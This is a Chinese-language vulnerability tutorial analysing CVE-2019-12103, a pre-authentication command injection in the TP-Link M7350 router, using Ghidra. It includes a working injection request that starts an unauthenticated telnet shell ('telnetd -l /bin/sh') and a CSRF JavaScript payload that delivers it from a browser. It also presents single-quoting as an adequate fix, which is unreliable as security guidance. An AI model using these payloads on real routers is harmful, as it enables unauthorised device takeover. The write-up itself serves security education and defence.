CVE-2019-12103 使用Ghidra分析TP-Link M7350上的预认证RCE
字数 1235 2025-08-22 12:22:48
TP-Link M7350预认证RCE漏洞分析(CVE-2019-12103)技术教学文档
漏洞概述
CVE-2019-12103是TP-Link M7350(V3)路由器上的一个预认证远程代码执行漏洞,影响固件版本160330及之前版本。该漏洞允许攻击者通过精心构造的HTTP请求在设备上执行任意命令,无需任何认证。
漏洞影响
- 影响设备:TP-Link M7350(V3)
- 漏洞类型:预认证命令注入
- CVSS评分:9.8(严重)
- 攻击向量:网络相邻或通过CSRF
- 修复版本:190531及之后固件
漏洞分析环境准备
所需工具
- Ghidra:NSA开发的逆向工程工具,用于分析二进制文件
- 固件文件:M7350(EU)_V3_160330_1472438334613t.zip
- 文本编辑器/IDE:查看和分析代码
- 网络分析工具:Burp Suite或Wireshark
固件获取与解压
固件可从TP-Link官网下载,解压过程如下:
M7350(EU)_V3_160330_1472438334613t.zip
└── M7350(EU) 3.0_1.1.1 Build 160330 Rel.1002n_User.zip
└── 固件内容
漏洞定位与分析
关键二进制文件
- qcmap_web_cgi:处理Web请求的CGI程序
- QCMAP_Web_CLIENT:实际处理业务逻辑的后台服务
请求处理流程
- HTTP请求发送到
/cgi-bin/qcmap_web_cgi qcmap_web_cgi解析请求并通过Unix域套接字转发- 数据通过套接字文件
/www/qcmap_webclient_cgi_file传递给QCMAP_Web_CLIENT QCMAP_Web_CLIENT处理请求并执行相应操作
漏洞代码分析
漏洞存在于QCMAP_Web_CLIENT二进制文件的API_webServer_function中:
// 伪代码表示
void API_webServer_function(cJSON *request) {
cJSON *action_item = cJSON_GetObjectItem(request, "action");
cJSON *language_item = cJSON_GetObjectItem(request, "language");
if (action_item->valueint == 1) { // 设置语言操作
char command[200];
snprintf(command, sizeof(command),
"uci set webserver.user_config.language=%s;uci commit webserver",
language_item->valuestring);
popen(command, "r"); // 漏洞点:直接执行用户控制的命令
}
// 其他操作处理...
}
漏洞触发条件
当满足以下条件时,漏洞可被触发:
- 请求的
module参数为webServer action参数值为1(设置语言)language参数包含恶意命令
漏洞利用
基本利用方式
构造如下HTTP请求:
POST /cgi-bin/qcmap_web_cgi HTTP/1.1
Host: <router_ip>
Content-Type: application/json
{
"module":"webServer",
"action":1,
"language":"en;telnetd -l /bin/sh" // 注入命令
}
此请求将在路由器上开启telnet服务,无需认证。
CSRF利用示例
由于漏洞可在未认证状态下触发,可通过CSRF攻击:
<script>
function exploit() {
fetch('http://192.168.1.1/cgi-bin/qcmap_web_cgi', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
module: 'webServer',
action: 1,
language: 'en;telnetd -l /bin/sh'
})
});
setTimeout(() => {
fetch('http://192.168.1.1/cgi-bin/qcmap_web_cgi', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
module: 'webServer',
action: 1,
language: 'en'
})
});
}, 500);
}
exploit();
</script>
漏洞修复分析
TP-Link在190531版本中修复了此漏洞,修复方式为对输入进行转义处理:
// 修复后的代码
snprintf(command, sizeof(command),
"uci set webserver.user_config.language='%s';uci commit webserver",
language_item->valuestring);
通过添加单引号限制了命令注入的可能性。
防御建议
- 输入验证:对所有用户输入进行严格验证
- 命令执行安全:避免直接拼接用户输入到系统命令中
- 认证机制:对敏感操作实施严格的认证
- CSRF防护:为所有修改操作添加CSRF令牌
- 最小权限原则:Web服务应以最低必要权限运行
总结
CVE-2019-12103展示了嵌入式设备中常见的命令注入漏洞模式。通过分析此漏洞,我们可以学习到:
- 逆向工程嵌入式设备固件的方法
- 命令注入漏洞的识别技巧
- 漏洞利用的多种方式
- 安全开发的最佳实践
此案例也强调了在IoT设备开发中实施严格安全措施的重要性,特别是在处理用户输入和系统命令交互时。